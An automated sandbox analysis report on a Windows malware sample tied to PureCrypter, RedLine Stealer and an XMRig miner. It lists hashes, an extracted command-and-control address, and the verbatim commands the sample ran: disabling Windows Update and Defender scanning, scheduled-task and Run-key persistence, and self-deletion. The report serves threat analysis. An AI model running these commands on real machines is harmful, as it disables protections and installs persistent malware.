Analysis
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max time kernel
150s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
12/01/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe
Resource
win10v2004-20221111-en
General
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Target
76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe
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Size
976KB
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MD5
d1e9f82dd227a45c97dcda1eeaffb3df
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SHA1
4f432ddcdcc07b39cd731f0f5f6be8b85cad4f36
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SHA256
76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d
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SHA512
33b9b7d563f083cae2c14869059090a80b97d9e5c385b55a969ed1684015c493eaf1ca47d8c284e69bed74a5880f22a461fcfb051ad2fe17b40f0c87ac2e2223
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SSDEEP
192:bfrIZqdCrLof/IMmfXXLoQWhLoaLew9O3:bDIZqdCrLq/IbfXXLRELSiO
Malware Config
Extracted
redline
5633308507
65.21.237.20:43077
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auth_value
a53ea2c0cc054e8615f91cd47c18a2de
Signatures
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Detect PureCrypter loader 1 IoCs
resource yara_rule behavioral1/memory/1004-56-0x00000000102D0000-0x0000000010C78000-memory.dmp family_purecrypter -
Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
PureCrypter
PureCrypter is a loader which is intended for downloading and executing additional payloads.
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
description pid Process procid_target PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 1496 created 1276 1496 Gpwangiscadatahub.exe 16 PID 268 created 1276 268 WindowsHost 16 PID 268 created 1276 268 WindowsHost 16 PID 268 created 1276 268 WindowsHost 16 PID 268 created 1276 268 WindowsHost 16 PID 268 created 1276 268 WindowsHost 16 PID 268 created 1276 268 WindowsHost 16 PID 336 created 1276 336 conhost.exe 16 PID 268 created 1276 268 WindowsHost 16 -
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/memory/1532-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1532-170-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
pid Process 1496 Gpwangiscadatahub.exe 268 WindowsHost -
Stops running service(s) 3 TTPs
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resource yara_rule behavioral1/memory/1532-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1532-170-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Loads dropped DLL 2 IoCs
pid Process 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 584 taskeng.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GooglePrograms\\WindowsHost.exe\"" 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 268 WindowsHost 268 WindowsHost -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1004 set thread context of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 268 set thread context of 336 268 WindowsHost 93 PID 268 set thread context of 1532 268 WindowsHost 99 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Windows\WindowsHost Gpwangiscadatahub.exe File created C:\Program Files\Google\Libs\WR64.sys WindowsHost File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2028 sc.exe 1600 sc.exe 2000 sc.exe 1268 sc.exe 956 sc.exe 1384 sc.exe 268 sc.exe 952 sc.exe 1556 sc.exe 1836 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1828 schtasks.exe 848 schtasks.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1648 ipconfig.exe 972 ipconfig.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 300856248826d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1652 powershell.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 528 powershell.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1820 powershell.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 1496 Gpwangiscadatahub.exe 848 powershell.exe 1504 MSBuild.exe 1504 MSBuild.exe 268 WindowsHost 268 WindowsHost 268 WindowsHost 908 powershell.exe 268 WindowsHost 268 WindowsHost 268 WindowsHost 268 WindowsHost 268 WindowsHost 268 WindowsHost 1944 powershell.exe 268 WindowsHost 268 WindowsHost 268 WindowsHost 268 WindowsHost 336 conhost.exe 336 conhost.exe 268 WindowsHost 268 WindowsHost 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe 1532 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 460 Process not Found -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe Token: SeDebugPrivilege 1652 powershell.exe Token: SeDebugPrivilege 528 powershell.exe Token: SeShutdownPrivilege 1612 powercfg.exe Token: SeShutdownPrivilege 956 powercfg.exe Token: SeDebugPrivilege 1820 powershell.exe Token: SeShutdownPrivilege 592 powercfg.exe Token: SeShutdownPrivilege 672 powercfg.exe Token: SeDebugPrivilege 848 powershell.exe Token: SeDebugPrivilege 1504 MSBuild.exe Token: SeDebugPrivilege 908 powershell.exe Token: SeShutdownPrivilege 1272 powercfg.exe Token: SeShutdownPrivilege 1416 powercfg.exe Token: SeShutdownPrivilege 1580 powercfg.exe Token: SeDebugPrivilege 1944 powershell.exe Token: SeShutdownPrivilege 1804 powercfg.exe Token: SeDebugPrivilege 268 WindowsHost Token: SeAssignPrimaryTokenPrivilege 1704 WMIC.exe Token: SeIncreaseQuotaPrivilege 1704 WMIC.exe Token: SeSecurityPrivilege 1704 WMIC.exe Token: SeTakeOwnershipPrivilege 1704 WMIC.exe Token: SeLoadDriverPrivilege 1704 WMIC.exe Token: SeSystemtimePrivilege 1704 WMIC.exe Token: SeBackupPrivilege 1704 WMIC.exe Token: SeRestorePrivilege 1704 WMIC.exe Token: SeShutdownPrivilege 1704 WMIC.exe Token: SeSystemEnvironmentPrivilege 1704 WMIC.exe Token: SeUndockPrivilege 1704 WMIC.exe Token: SeManageVolumePrivilege 1704 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1704 WMIC.exe Token: SeIncreaseQuotaPrivilege 1704 WMIC.exe Token: SeSecurityPrivilege 1704 WMIC.exe Token: SeTakeOwnershipPrivilege 1704 WMIC.exe Token: SeLoadDriverPrivilege 1704 WMIC.exe Token: SeSystemtimePrivilege 1704 WMIC.exe Token: SeBackupPrivilege 1704 WMIC.exe Token: SeRestorePrivilege 1704 WMIC.exe Token: SeShutdownPrivilege 1704 WMIC.exe Token: SeSystemEnvironmentPrivilege 1704 WMIC.exe Token: SeUndockPrivilege 1704 WMIC.exe Token: SeManageVolumePrivilege 1704 WMIC.exe Token: SeLockMemoryPrivilege 1532 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1004 wrote to memory of 628 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 28 PID 1004 wrote to memory of 628 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 28 PID 1004 wrote to memory of 628 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 28 PID 1004 wrote to memory of 628 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 28 PID 628 wrote to memory of 1648 628 cmd.exe 30 PID 628 wrote to memory of 1648 628 cmd.exe 30 PID 628 wrote to memory of 1648 628 cmd.exe 30 PID 628 wrote to memory of 1648 628 cmd.exe 30 PID 1004 wrote to memory of 1652 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 31 PID 1004 wrote to memory of 1652 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 31 PID 1004 wrote to memory of 1652 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 31 PID 1004 wrote to memory of 1652 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 31 PID 1004 wrote to memory of 1496 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 33 PID 1004 wrote to memory of 1496 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 33 PID 1004 wrote to memory of 1496 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 33 PID 1004 wrote to memory of 1496 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 33 PID 1004 wrote to memory of 1032 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 34 PID 1004 wrote to memory of 1032 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 34 PID 1004 wrote to memory of 1032 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 34 PID 1004 wrote to memory of 1032 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 34 PID 1032 wrote to memory of 972 1032 cmd.exe 36 PID 1032 wrote to memory of 972 1032 cmd.exe 36 PID 1032 wrote to memory of 972 1032 cmd.exe 36 PID 1032 wrote to memory of 972 1032 cmd.exe 36 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1004 wrote to memory of 1504 1004 76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe 37 PID 1416 wrote to memory of 1612 1416 cmd.exe 46 PID 1416 wrote to memory of 1612 1416 cmd.exe 46 PID 1416 wrote to memory of 1612 1416 cmd.exe 46 PID 1668 wrote to memory of 1384 1668 cmd.exe 47 PID 1668 wrote to memory of 1384 1668 cmd.exe 47 PID 1668 wrote to memory of 1384 1668 cmd.exe 47 PID 1416 wrote to memory of 956 1416 cmd.exe 48 PID 1416 wrote to memory of 956 1416 cmd.exe 48 PID 1416 wrote to memory of 956 1416 cmd.exe 48 PID 1668 wrote to memory of 952 1668 cmd.exe 53 PID 1668 wrote to memory of 952 1668 cmd.exe 53 PID 1668 wrote to memory of 952 1668 cmd.exe 53 PID 1416 wrote to memory of 592 1416 cmd.exe 49 PID 1416 wrote to memory of 592 1416 cmd.exe 49 PID 1416 wrote to memory of 592 1416 cmd.exe 49 PID 1668 wrote to memory of 2028 1668 cmd.exe 50 PID 1668 wrote to memory of 2028 1668 cmd.exe 50 PID 1668 wrote to memory of 2028 1668 cmd.exe 50 PID 1668 wrote to memory of 268 1668 cmd.exe 51 PID 1668 wrote to memory of 268 1668 cmd.exe 51 PID 1668 wrote to memory of 268 1668 cmd.exe 51 PID 1416 wrote to memory of 672 1416 cmd.exe 52 PID 1416 wrote to memory of 672 1416 cmd.exe 52 PID 1416 wrote to memory of 672 1416 cmd.exe 52 PID 1668 wrote to memory of 1556 1668 cmd.exe 54 PID 1668 wrote to memory of 1556 1668 cmd.exe 54 PID 1668 wrote to memory of 1556 1668 cmd.exe 54 PID 1820 wrote to memory of 1828 1820 powershell.exe 55 PID 1820 wrote to memory of 1828 1820 powershell.exe 55 PID 1820 wrote to memory of 1828 1820 powershell.exe 55 PID 1668 wrote to memory of 2008 1668 cmd.exe 57
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1276
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C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe"C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e.exe"2⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/release3⤵
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- Gathers network information
PID:1648
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652
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C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1496
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/renew3⤵
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- Gathers network information
PID:972
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:528
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:592
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:672
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1384
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2028
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:268
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:952
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1556
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2008
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1156
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1944
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1356
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsHost /tr "'C:\Program Files\Windows\WindowsHost'"3⤵
- Creates scheduled task(s)
PID:1828
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"2⤵PID:1132
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qzignfste#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsHost" } Else { "C:\Program Files\Windows\WindowsHost" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:848 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn WindowsHost3⤵PID:1616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:908
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵PID:1212
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1600
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2000
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1268
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:956
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1836
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:608
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1656
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:796
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1588
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsHost /tr "'C:\Program Files\Windows\WindowsHost'"3⤵
- Creates scheduled task(s)
PID:848
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:1608
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1272
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1416
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1804
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe yadsrbyzjoct2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:336
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1156 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1704
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe hfskhxmdoncbxhsb 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeX3kmtnE+A4/kpTs4bYyWrp/wFgbmXbsWjqh9oZ/M1b/FdNAlai2lZwJELqU72k+KI4FtoW5TMu6H23luli1wf6I7pu0SzW3Tj73Pjvsw7HSZV2tnuQ8sojipYC3GN3oEAkalK7UPatNIhplo7T6SOtcYad1Qs77navRkL3p2GZJ5VInmajAf/RsZFWvMtOi49x108jSO1zTsXbXgmMNlPbUrKjA2oYsEgpJazS3ZDJAGmClcDqJCSqwjjC493T8HsLpGXStaEGgC9/KHBykYmyKXJWVpqBCXZHxhDkiby7jruWwWa0vpzUekzqkZqGwnp71uTU7F7gpWfAuInQMHvYsKSqZJ4ZrwqC2ZBAeePSLf6piwVyDqnkjd+0+5jmfLE8b0dPPWnE958qeML3wS4KzKVjsAvvLwV3n3YFx27BFFJTpEfGBZCVZo5slabHJ3kRhUMcsEk62ykL30B21raMloiwhu2x5jZpdu6ptc4l7a5ns3Vua07XM33EXAEmFY2aqxlqDHC5BZ70BuqWLHvhbK2LgkK5p/Xg7NOqHeEtK5Ubrc8ajVg+XCgXsfVxWjlremzhUugs9Y6p4IpeUnaYAnrKxOGn4s1Zfbv+HYzVT/y2xM/nq6G6qXnjzWna/TFXFJ4hjtJP8rlqqGMpuTf2XZnAUxC+odUWKO3DMWNeDhN9nr6NzXALo2MXAcH5MZVlWyEWLTgaZHfHaqwXtNLImo2L/0pREVDnKxc7VvPAZcgVJK7ScKi0B+1xxAKCXmfG2isJSEvvQMPa8QHis2xGW/aBj/n7yTrVx9/Baz4D6O7fG+xSL+6yZlMlfEpnlEqOj4LqcDTYXnMsvGONJiqwY4QBKG11zoeKp0LhZGw0AeoKgDRsLMqBfqKTD1VHta0DKauKXxpdCRkkVC6Bd9zrx5qUkSKgt25zIyYLmBWsqkghh6eN+LYcphIB3jjhxdoFDleGlsag8D1ZdZL/bQ2+y4etWPYF2yu2wS8TJCnEM/E+58i4gY8XY8x8cQSnWHz36EQq6uCYbIgh/UY60BNWdAci2qeMAQ2Jnzmn6bMXb41pWTdh+xMtGuWHKDTicdCUSyPanZM35RI+qRBv3pOKQRrVr9Z98s826+3L7ErC15V+Pmor9PnEno9H0Rp